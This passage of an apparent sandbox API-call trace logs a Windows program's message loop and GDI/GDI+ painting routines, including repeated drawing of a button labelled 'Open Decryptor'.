(hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.449] SelectObject (hdc=0x3101062b, h=0x85000f) returned 0x4050721 [0155.449] DeleteDC (hdc=0x3101062b) returned 1 [0155.449] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.450] EndPaint (hWnd=0x80044, lpPaint=0x19e8c8) returned 1 [0155.450] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.450] IsWindowUnicode (hWnd=0x90016) returned 1 [0155.450] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.450] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.450] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.450] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.450] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.450] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.450] SetTextColor (hdc=0x60100ce, color=0x0) returned 0x0 [0155.451] SetBkColor (hdc=0x60100ce, color=0xffffff) returned 0xffffff [0155.461] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.461] IsWindowUnicode (hWnd=0x3020e) returned 1 [0155.461] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.461] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.461] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.461] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x3020e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.461] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.461] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.462] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0155.462] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0155.462] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.462] IsWindowUnicode (hWnd=0x501dc) returned 1 [0155.462] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.463] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.463] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.463] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501dc, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.464] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.464] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.464] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.464] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.466] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.466] IsWindowUnicode (hWnd=0x70126) returned 1 [0155.466] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.466] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.466] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.466] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x70126, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.466] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0155.466] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0155.466] SetTextColor (hdc=0x10105d6, color=0x0) returned 0x0 [0155.466] SetBkColor (hdc=0x10105d6, color=0xffffff) returned 0xffffff [0155.467] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.467] IsWindowUnicode (hWnd=0x30212) returned 1 [0155.467] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.467] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.467] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.467] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x60100ce [0155.467] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.467] CreateCompatibleDC (hdc=0x60100ce) returned 0x3d01062b [0155.467] DeleteObject (ho=0x4050721) returned 1 [0155.467] GetObjectType (h=0x60100ce) returned 0x3 [0155.467] CreateCompatibleBitmap (hdc=0x60100ce, cx=1, cy=1) returned 0x38050720 [0155.468] GetDIBits (in: hdc=0x60100ce, hbm=0x38050720, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x19e3b0, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3b0) returned 1 [0155.468] GetDIBits (in: hdc=0x60100ce, hbm=0x38050720, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19e3b0, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3b0) returned 1 [0155.468] DeleteObject (ho=0x38050720) returned 1 [0155.468] CreateDIBSection (in: hdc=0x60100ce, lpbmi=0x19e400, usage=0x0, ppvBits=0x19e8f4, hSection=0x0, offset=0x0 | out: ppvBits=0x19e8f4) returned 0x5050721 [0155.468] SelectObject (hdc=0x3d01062b, h=0x5050721) returned 0x85000f [0155.468] GdipCreateFromHDC (hdc=0x3d01062b, graphics=0x19e8d8) returned 0x0 [0155.468] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.469] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0155.469] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0155.469] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915e78) returned 0x0 [0155.469] GdipIsMatrixIdentity (matrix=0x6915e78, result=0x19e938) returned 0x0 [0155.469] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff780 [0155.469] GdipGetMatrixElements (matrix=0x6915e78, matrixOut=0xeff780) returned 0x0 [0155.469] LocalFree (hMem=0xeff780) returned 0x0 [0155.469] GdipDeleteMatrix (matrix=0x6915e78) returned 0x0 [0155.469] GdipCreateRegion (region=0x19e920) returned 0x0 [0155.469] GdipGetClip (graphics=0x6915b98, region=0x6915ea8) returned 0x0 [0155.469] GdipIsInfiniteRegion (region=0x6915ea8, graphics=0x6915b98, result=0x19e92c) returned 0x0 [0155.469] GdipSaveGraphics (graphics=0x6915b98, state=0x19e958) returned 0x0 [0155.469] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd910dbd) returned 0x0 [0155.469] GdipDeleteRegion (region=0x6915ea8) returned 0x0 [0155.481] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x19e6f8, fWinIni=0x0 | out: pvParam=0x19e6f8) returned 1 [0155.483] GdipGetDC (graphics=0x6915b98, hdc=0x19e660) returned 0x0 [0155.483] GetCurrentObject (hdc=0x3d01062b, type=0x1) returned 0xb00017 [0155.483] GetCurrentObject (hdc=0x3d01062b, type=0x2) returned 0x900010 [0155.483] GetCurrentObject (hdc=0x3d01062b, type=0x7) returned 0x5050721 [0155.483] GetCurrentObject (hdc=0x3d01062b, type=0x6) returned 0x8a01c2 [0155.483] SaveDC (hdc=0x3d01062b) returned 1 [0155.483] GetNearestColor (hdc=0x3d01062b, color=0x323533) returned 0x323533 [0155.483] GetNearestColor (hdc=0x3d01062b, color=0x111111) returned 0x111111 [0155.484] GdipReleaseDC (graphics=0x6915b98, hdc=0x3d01062b) returned 0x0 [0155.484] GdipGetFamilyName (in: family=0x57f2240, name=0x19e41c, language=0x409 | out: name="Arial Black") returned 0x0 [0155.484] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0155.484] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0155.484] CreateFontIndirectW (lplf=0xeeace0) returned 0x110a0722 [0155.484] CoTaskMemFree (pv=0xeeace0) [0155.484] GetObjectW (in: h=0x110a0722, c=92, pv=0x19e3e0 | out: pv=0x19e3e0) returned 92 [0155.485] SelectObject (hdc=0x8e0106dd, h=0x110a0722) returned 0x230a0712 [0155.485] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e51c, format=0x102415, lpdtp=0x2ffd1ac | out: lpchText="Open Decryptor", lprc=0x19e51c) returned 60 [0155.502] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0155.502] GdipGetClip (graphics=0x6915b98, region=0x6915ea8) returned 0x0 [0155.504] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0155.504] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.505] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e5bc) returned 0x0 [0155.505] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeffb70) returned 0x0 [0155.505] LocalFree (hMem=0xeffb70) returned 0x0 [0155.505] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff4a8) returned 0x0 [0155.505] LocalFree (hMem=0xeff4a8) returned 0x0 [0155.505] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.505] GdipIsInfiniteRegion (region=0x6915ea8, graphics=0x6915b98, result=0x19e5e4) returned 0x0 [0155.505] GdipIsInfiniteRegion (region=0x6915ea8, graphics=0x6915b98, result=0x19e5d4) returned 0x0 [0155.505] GdipGetRegionHRgn (region=0x6915ea8, graphics=0x6915b98, hRgn=0x19e5d4) returned 0x0 [0155.505] GdipDeleteRegion (region=0x6915ea8) returned 0x0 [0155.505] GdipGetDC (graphics=0x6915b98, hdc=0x19e5ec) returned 0x0 [0155.507] GdipReleaseDC (graphics=0x6915b98, hdc=0x3d01062b) returned 0x0 [0155.508] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e668) returned 0x0 [0155.508] GdipGetDC (graphics=0x6915b98, hdc=0x19e654) returned 0x0 [0155.508] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0155.508] SelectObject (hdc=0x3d01062b, h=0x110a0722) returned 0x8a01c2 [0155.511] GetBkMode (hdc=0x3d01062b) returned 2 [0155.511] SetBkMode (hdc=0x3d01062b, mode=1) returned 2 [0155.511] DrawTextExW (in: hdc=0x3d01062b, lpchText="Open Decryptor", cchText=14, lprc=0x19e484, format=0x102415, lpdtp=0x2ffd658 | out: lpchText="Open Decryptor", lprc=0x19e484) returned 60 [0155.512] DrawTextExW (in: hdc=0x3d01062b, lpchText="Open Decryptor", cchText=14, lprc=0x19e5e8, format=0x102015, lpdtp=0x2ffd658 | out: lpchText="Open Decryptor", lprc=0x19e5e8) returned 60 [0155.517] RestoreDC (hdc=0x3d01062b, nSavedDC=-1) returned 1 [0155.517] GdipReleaseDC (graphics=0x6915b98, hdc=0x3d01062b) returned 0x0 [0155.517] GetFocus () returned 0x20234 [0155.518] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0155.518] GdipDrawRectangleI (graphics=0x6915b98, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0155.520] GdipDeletePen (pen=0x6915e78) returned 0x0 [0155.521] GdipGetDC (graphics=0x6915b98, hdc=0x19e918) returned 0x0 [0155.521] BitBlt (hdc=0x60100ce, x=0, y=0, cx=178, cy=111, hdcSrc=0x3d01062b, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.521] GdipReleaseDC (graphics=0x6915b98, hdc=0x3d01062b) returned 0x0 [0155.521] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.521] SelectObject (hdc=0x3d01062b, h=0x85000f) returned 0x5050721 [0155.521] DeleteDC (hdc=0x3d01062b) returned 1 [0155.522] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.522] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0155.522] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.522] IsWindowUnicode (hWnd=0xa020a) returned 1 [0155.522] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.522] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.522] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.522] BeginPaint (in: hWnd=0xa020a, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0155.522] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.522] GetWindowTextLengthW (hWnd=0xa020a) returned 0 [0155.522] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.522] GetSystemMetrics (nIndex=42) returned 0 [0155.522] GetWindowTextW (in: hWnd=0xa020a, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0155.522] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0xa020a, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0155.523] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.523] EndPaint (hWnd=0xa020a, lpPaint=0x19e8f8) returned 1 [0155.523] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.524] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0155.524] IsWindowUnicode (hWnd=0x30212) returned 1 [0155.524] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.524] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.524] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.524] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x1 [0155.524] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.525] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.525] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.525] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e03c | out: lpRect=0x19e03c) returned 1 [0155.525] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.525] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.525] GetSystemMetrics (nIndex=42) returned 0 [0155.525] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19df1c, nMaxCount=1 | out: lpString="") returned 0 [0155.525] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19df1c) returned 0x0 [0155.525] GetClientRect (in: hWnd=0x8004e, lpRect=0x19df44 | out: lpRect=0x19df44) returned 1 [0155.525] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.525] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.525] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.525] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.526] SaveDC (hdc=0x1b010670) returned 1 [0155.526] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.526] CreateSolidBrush (color=0x323533) returned 0x21100628 [0155.526] FillRect (hDC=0x1b010670, lprc=0x19dde4, hbr=0x21100628) returned 1 [0155.526] DeleteObject (ho=0x21100628) returned 1 [0155.526] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.526] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.526] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.526] GetSystemMetrics (nIndex=42) returned 0 [0155.526] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19debc, nMaxCount=1 | out: lpString="") returned 0 [0155.526] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19debc) returned 0x0 [0155.526] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dee4 | out: lpRect=0x19dee4) returned 1 [0155.526] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.526] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.526] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.526] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.526] SaveDC (hdc=0x1b010670) returned 1 [0155.527] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.527] CreateSolidBrush (color=0x323533) returned 0x22100628 [0155.527] FillRect (hDC=0x1b010670, lprc=0x19dd84, hbr=0x22100628) returned 1 [0155.527] DeleteObject (ho=0x22100628) returned 1 [0155.527] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.527] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.527] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.527] GetSystemMetrics (nIndex=42) returned 0 [0155.527] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19debc, nMaxCount=1 | out: lpString="") returned 0 [0155.527] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19debc) returned 0x0 [0155.529] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.529] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0155.530] IsWindowUnicode (hWnd=0x30212) returned 1 [0155.530] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.530] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x26f0177) returned 0x1 [0155.530] SetCursor (hCursor=0x10003) returned 0x10005 [0155.530] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.530] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.530] _TrackMouseEvent (in: lpEventTrack=0x2ffdb4c | out: lpEventTrack=0x2ffdb4c) returned 1 [0155.530] SendMessageW (hWnd=0x30212, Msg=0xc16d, wParam=0x0, lParam=0x0) returned 0x0 [0155.530] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0xc16d, wParam=0x0, lParam=0x0) returned 0x0 [0155.530] InvalidateRect (hWnd=0x30212, lpRect=0x0, bErase=0) returned 1 [0155.530] GetKeyState (nVirtKey=1) returned 0 [0155.530] GetKeyState (nVirtKey=2) returned 0 [0155.530] GetKeyState (nVirtKey=4) returned 0 [0155.530] GetKeyState (nVirtKey=5) returned 0 [0155.530] GetKeyState (nVirtKey=6) returned 0 [0155.530] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.531] IsWindowUnicode (hWnd=0x30212) returned 1 [0155.531] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.531] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.531] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.532] BeginPaint (in: hWnd=0x30212, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0155.532] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.532] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x4010725 [0155.532] SelectObject (hdc=0x4010725, h=0x5050721) returned 0x85000f [0155.532] GdipCreateFromHDC (hdc=0x4010725, graphics=0x19e8d8) returned 0x0 [0155.533] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.533] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=178, height=111, combineMode=0x0) returned 0x0 [0155.533] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0155.533] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.533] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e938) returned 0x0 [0155.533] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff978 [0155.533] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff978) returned 0x0 [0155.533] LocalFree (hMem=0xeff978) returned 0x0 [0155.533] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.533] GdipCreateRegion (region=0x19e920) returned 0x0 [0155.533] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.533] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e92c) returned 0x0 [0155.533] GdipSaveGraphics (graphics=0x6915b98, state=0x19e958) returned 0x0 [0155.533] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd8f0dbd) returned 0x0 [0155.533] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.533] GdipGetDC (graphics=0x6915b98, hdc=0x19e708) returned 0x0 [0155.533] GetCurrentObject (hdc=0x4010725, type=0x1) returned 0xb00017 [0155.533] GetCurrentObject (hdc=0x4010725, type=0x2) returned 0x900010 [0155.534] GetCurrentObject (hdc=0x4010725, type=0x7) returned 0x5050721 [0155.534] GetCurrentObject (hdc=0x4010725, type=0x6) returned 0x8a01c2 [0155.534] SaveDC (hdc=0x4010725) returned 1 [0155.534] GetNearestColor (hdc=0x4010725, color=0x323533) returned 0x323533 [0155.534] GetNearestColor (hdc=0x4010725, color=0x111111) returned 0x111111 [0155.534] GetNearestColor (hdc=0x4010725, color=0x0) returned 0x0 [0155.534] GetNearestColor (hdc=0x4010725, color=0x868c88) returned 0x868c88 [0155.534] GetNearestColor (hdc=0x4010725, color=0x6994f5) returned 0x6994f5 [0155.534] GetNearestColor (hdc=0x4010725, color=0x969c98) returned 0x969c98 [0155.534] GetNearestColor (hdc=0x4010725, color=0x868c88) returned 0x868c88 [0155.534] GetNearestColor (hdc=0x4010725, color=0x3c3f3d) returned 0x3c3f3d [0155.534] GetNearestColor (hdc=0x4010725, color=0x6994f5) returned 0x6994f5 [0155.534] RestoreDC (hdc=0x4010725, nSavedDC=-1) returned 1 [0155.534] GdipReleaseDC (graphics=0x6915b98, hdc=0x4010725) returned 0x0 [0155.535] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Open Decryptor", cchText=14, lprc=0x19e5c4, format=0x102415, lpdtp=0x2ffe024 | out: lpchText="Open Decryptor", lprc=0x19e5c4) returned 60 [0155.535] GdipCreateRegion (region=0x19e64c) returned 0x0 [0155.535] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.535] GdipCreateMatrix (matrix=0x19e64c) returned 0x0 [0155.535] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.535] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e664) returned 0x0 [0155.535] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff4a8 [0155.535] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff4a8) returned 0x0 [0155.535] LocalFree (hMem=0xeff4a8) returned 0x0 [0155.535] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff4e0 [0155.535] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff4e0) returned 0x0 [0155.535] LocalFree (hMem=0xeff4e0) returned 0x0 [0155.536] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.536] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e68c) returned 0x0 [0155.536] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e67c) returned 0x0 [0155.536] GdipGetRegionHRgn (region=0x6917c70, graphics=0x6915b98, hRgn=0x19e67c) returned 0x0 [0155.536] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.536] GdipGetDC (graphics=0x6915b98, hdc=0x19e694) returned 0x0 [0155.536] GetCurrentObject (hdc=0x4010725, type=0x1) returned 0xb00017 [0155.536] GetCurrentObject (hdc=0x4010725, type=0x2) returned 0x900010 [0155.536] GetCurrentObject (hdc=0x4010725, type=0x7) returned 0x5050721 [0155.536] GetCurrentObject (hdc=0x4010725, type=0x6) returned 0x8a01c2 [0155.536] SaveDC (hdc=0x4010725) returned 1 [0155.536] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xdb04070e [0155.536] GetClipRgn (hdc=0x4010725, hrgn=0xdb04070e) returned 0 [0155.536] SelectClipRgn (hdc=0x4010725, hrgn=0x9e0406fe) returned 2 [0155.536] DeleteObject (ho=0xdb04070e) returned 1 [0155.536] DeleteObject (ho=0x9e0406fe) returned 1 [0155.536] OffsetViewportOrgEx (in: hdc=0x4010725, x=0, y=0, lppt=0x2ffe214 | out: lppt=0x2ffe214) returned 1 [0155.536] GetNearestColor (hdc=0x4010725, color=0x3c3f3d) returned 0x3c3f3d [0155.537] CreateSolidBrush (color=0x3c3f3d) returned 0x23100628 [0155.537] FillRect (hDC=0x4010725, lprc=0x19e698, hbr=0x23100628) returned 1 [0155.537] DeleteObject (ho=0x23100628) returned 1 [0155.537] RestoreDC (hdc=0x4010725, nSavedDC=-1) returned 1 [0155.537] GdipReleaseDC (graphics=0x6915b98, hdc=0x4010725) returned 0x0 [0155.537] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e710) returned 0x0 [0155.537] GdipGetDC (graphics=0x6915b98, hdc=0x19e6fc) returned 0x0 [0155.537] GetCurrentObject (hdc=0x4010725, type=0x1) returned 0xb00017 [0155.537] GetCurrentObject (hdc=0x4010725, type=0x2) returned 0x900010 [0155.537] GetCurrentObject (hdc=0x4010725, type=0x7) returned 0x5050721 [0155.537] GetCurrentObject (hdc=0x4010725, type=0x6) returned 0x8a01c2 [0155.537] SaveDC (hdc=0x4010725) returned 1 [0155.537] GetTextAlign (hdc=0x4010725) returned 0x0 [0155.537] GetTextColor (hdc=0x4010725) returned 0x0 [0155.537] SetTextColor (hdc=0x4010725, color=0x6994f5) returned 0x0 [0155.537] GetCurrentObject (hdc=0x4010725, type=0x6) returned 0x8a01c2 [0155.538] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e444 | out: pv=0x19e444) returned 92 [0155.538] SelectObject (hdc=0x4010725, h=0x110a0722) returned 0x8a01c2 [0155.538] GetBkMode (hdc=0x4010725) returned 2 [0155.538] SetBkMode (hdc=0x4010725, mode=1) returned 2 [0155.538] DrawTextExW (in: hdc=0x4010725, lpchText="Open Decryptor", cchText=14, lprc=0x19e52c, format=0x102415, lpdtp=0x2ffe4d0 | out: lpchText="Open Decryptor", lprc=0x19e52c) returned 60 [0155.538] DrawTextExW (in: hdc=0x4010725, lpchText="Open Decryptor", cchText=14, lprc=0x19e690, format=0x102015, lpdtp=0x2ffe4d0 | out: lpchText="Open Decryptor", lprc=0x19e690) returned 60 [0155.539] RestoreDC (hdc=0x4010725, nSavedDC=-1) returned 1 [0155.539] GdipReleaseDC (graphics=0x6915b98, hdc=0x4010725) returned 0x0 [0155.539] GetFocus () returned 0x20234 [0155.539] GdipCreatePen1 (color=0xfff59469, width=0x3f800000, unit=0x0, pen=0x19e778) returned 0x0 [0155.539] GdipDrawRectangleI (graphics=0x6915b98, pen=0x6915e78, x=0, y=0, width=177, height=110) returned 0x0 [0155.539] GdipDeletePen (pen=0x6915e78) returned 0x0 [0155.539] 